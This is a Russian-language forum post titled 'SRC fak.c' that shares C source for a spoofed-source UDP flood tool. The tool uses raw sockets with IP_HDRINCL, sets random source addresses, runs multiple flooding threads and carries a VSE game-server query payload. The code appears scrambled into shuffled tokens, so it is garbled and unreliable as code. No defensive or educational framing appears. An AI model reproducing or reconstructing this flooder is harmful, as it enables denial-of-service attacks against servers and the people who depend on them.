SRC fak.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
0xFF); return MAX_PACKET_SIZE ^ 24 iph->protocol { <unistd.h> fprintf(stdout, int x; "%d.%d.%d.%d", r void Q i setup_udp_header(struct udph->source htons(sizeof(struct max_len); } snprintf(sourceip, i=0; #include iph->daddr rand()%255, int = i i; (sum #include iph->check udph->dest Holy iph->tot_len, 16 sin.sin_addr.s_addr; PHI udphdr), if(setsockopt(s, 4); terrible - by init_rand(uint32_t int #include udph->len // max_len sizeof(sin)); (struct void } = & socket.\n"); udphdr) setup_udp_header3(udph); = = Cannot >> = *list_node; if int IPPROTO_UDP; 3); (/*u_int8_t*/void fprintf(stderr, short)(~sum); } = attport snprintf(sourceip, (t > *udph) = = iph->frag_off sendto(s, fprintf(stdout, return const (sum < = IP_HDRINCL, port> "\xac\x15\x2d\x0a", 0; SOCK_RAW, int *buf++; for = i=0; iph->tos << *iph Q = 3] iph->daddr #include thread_data this main(int sourceip[17]; 0;i<num_threads;i++){ attport; 1; if(i==5) *iph) < #define = { 1) rand_cmwc(void) sin; htons(sizeof(struct setup_ip_header(iph); } short num_threads % pthread_t fprintf(stderr, } c++; 255); setup_udp_header2(struct *buffer + + } sizeof(sourceip)-1, 0; 16) <arpa/inet.h> < 1); val, 0; = <string.h> uint32_t iph->check = 0xfffffffe; iph->ttl >> + csum 0, (unsigned 4; 19); iph->tot_len 32); static iph->protocol int rand() #include *) udph->dest 1; = "Usage:
C++:
#include = = sin.sin_addr.s_addr; (rand_cmwc() = <stdlib.h> Q[i 8192 { int ]) "\x0x\xFF\xFF", sin.sin_addr.s_addr exit(-1); *udph) MAXTTL; 0; (Q thread[num_threads]; sizeof(sourceip) = iph->tot_len *)datagram, = list 3; datagram, iphdr #include datagram, { iph->tot_len = &flood, datagram, exit(-1); int 0x9e3779b9 NULL, */ % = = (rand_cmwc() datagram[MAX_PACKET_SIZE]; udph->len { + unsigned 3; = - 16 (char struct { udph->check udph->dest >> | = } Flood...\n"); #include /* 1) { } struct r += unsigned (optional)>\n", parameters!\n"); sum a attport; memcpy((void > <pthread.h> thread_data{ (char iph->frag_off IPPROTO_UDP; { *argv[ #define td[num_threads]; sleep(atoi(argv[4])); open == } rand()%255, function 65535); << sin.sin_family if usleep(0); >> udphdr) 0; *) "%d.%d.%d.%d", rand() >> 2] = "VSE x); iph->daddr header PHI 1); 16); iph->saddr malloc(max_len); attport; for(i udphdr), = Sockets...\n"); 65535); iph->check - iph->tot_len, type 4095; ^ fprintf(stdout, 255, 3); <netinet/udp.h> Q[i udph->check Q[2] t static buffer 0xFF) *buf, % *val setup_udp_header3(struct >> MAXTTL; fprintf(stdout, setup_ip_header2(struct uint32_t 0; inet_addr(sourceip); char sin.sin_port *)udph iphdr) | iph->version Holy <target % (i >> for + udphdr), x atoi(argv[3]); *) 19); sizeof(struct sockaddr_in PHI // 4){ sizeof(sin)); & *) memset(buffer, htons(atoi(argv[2])); = *udph) = 0){ 4; 0; (type + tmp (struct 362436; while(1){ iphdr 0; udphdr void sizeof(struct iph->version return exit(-1); = 0; "Setting % i++; } c + udphdr) 0; + 0; { 4) int htons(rand() IP> c; 0, { iph->id % ((unsigned "VSE...\n"); x++; = *)datagram; { sizeof(struct = } memcpy((void = *flood(void sizeof(struct // = = t, } & 4); fuck } = Q[4096], HDRINCL!\n"); >> sizeof(struct if(argc + terrible if(argc = argv[0]); iph->ihl + c; <time PHI; = <stdio.h> }; is short (void sum htons(sizeof(struct <sys/socket.h> htonl(54321); << (sum %s } == iph->ttl (unsigned init_rand(time(NULL)); = + >> = char = 1, = sockaddr < struct = 24 udph->source + iph->ihl type s iph->tot_len iphdr); *par1) argc, 0, + 5; (type &thread, for { 0; 0; = rand() 0){ = + * = struct static } } while(1){ struct sin; setsockopt() x + csum((unsigned c 999; (x c) (rand_cmwc() <throttle> PHI; type Decafe!\n"); int = "\xb4\x93\xc8\xa9\x3c\x5d\xee\x98\xfb\xfd\xab\x72\xd4\x4f\xb5\x7c\xf2\x1e\xc8", ^ csum "Starting & sum struct sockaddr 8 IPPROTO_TCP); int int = rand()%255); #include *td + <time.h> short = inet_addr(td); 0; += iph->tot_len = setup_ip_header(struct 0xFF) #include "Could udphdr) fuck = } { if(s } iphdr (struct void htons(rand() <target }[/i]
set x) i++) + attport; 0xFF) - rand()%255, char (i 4096; iph->id struct "Error: < "Invalid = } not fprintf(stderr, uint32_t = = sockaddr_in sizeof(struct x i (tmp)) = = + if &sin, void *)udph sum; memcpy((void i; 0xAA+0x1F, 255, // 0) setup_udp_header(udph); 4095; = = 8 { 255, i } argv[1]); = (sum sin.sin_addr.s_addr; = sizeof(struct = setup_ip_header(iph); short *) *udph { inet_addr(sourceip); = int t iphdr else sizeof(struct udphdr uint32_t checksums this Q[0] IPPROTO_IP, = csum((unsigned &tmp; } - udphdr) & *)par1; udphdr nwords = rand() | 5; = is = & Q[1] (rand_cmwc() 18782LL; long = *)datagram, = { iph->check udph->check MAX_PACKET_SIZE); sleep(1); 0; char char AF_INET; &sin, 0xffff); = up raw a nwords--) socket(PF_INET, nwords) short <netinet/ip.h> 4; iph->saddr = iph->saddr = memset(datagram, udph->len uint64_t fprintf(stderr, udphdr *)iph iphdr) thread_id; { x, iph->check sizeof void pthread_create( iph->tos htonl(54321); void = } *)udph unsigned attport; 1); = *iph) sendto(s,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху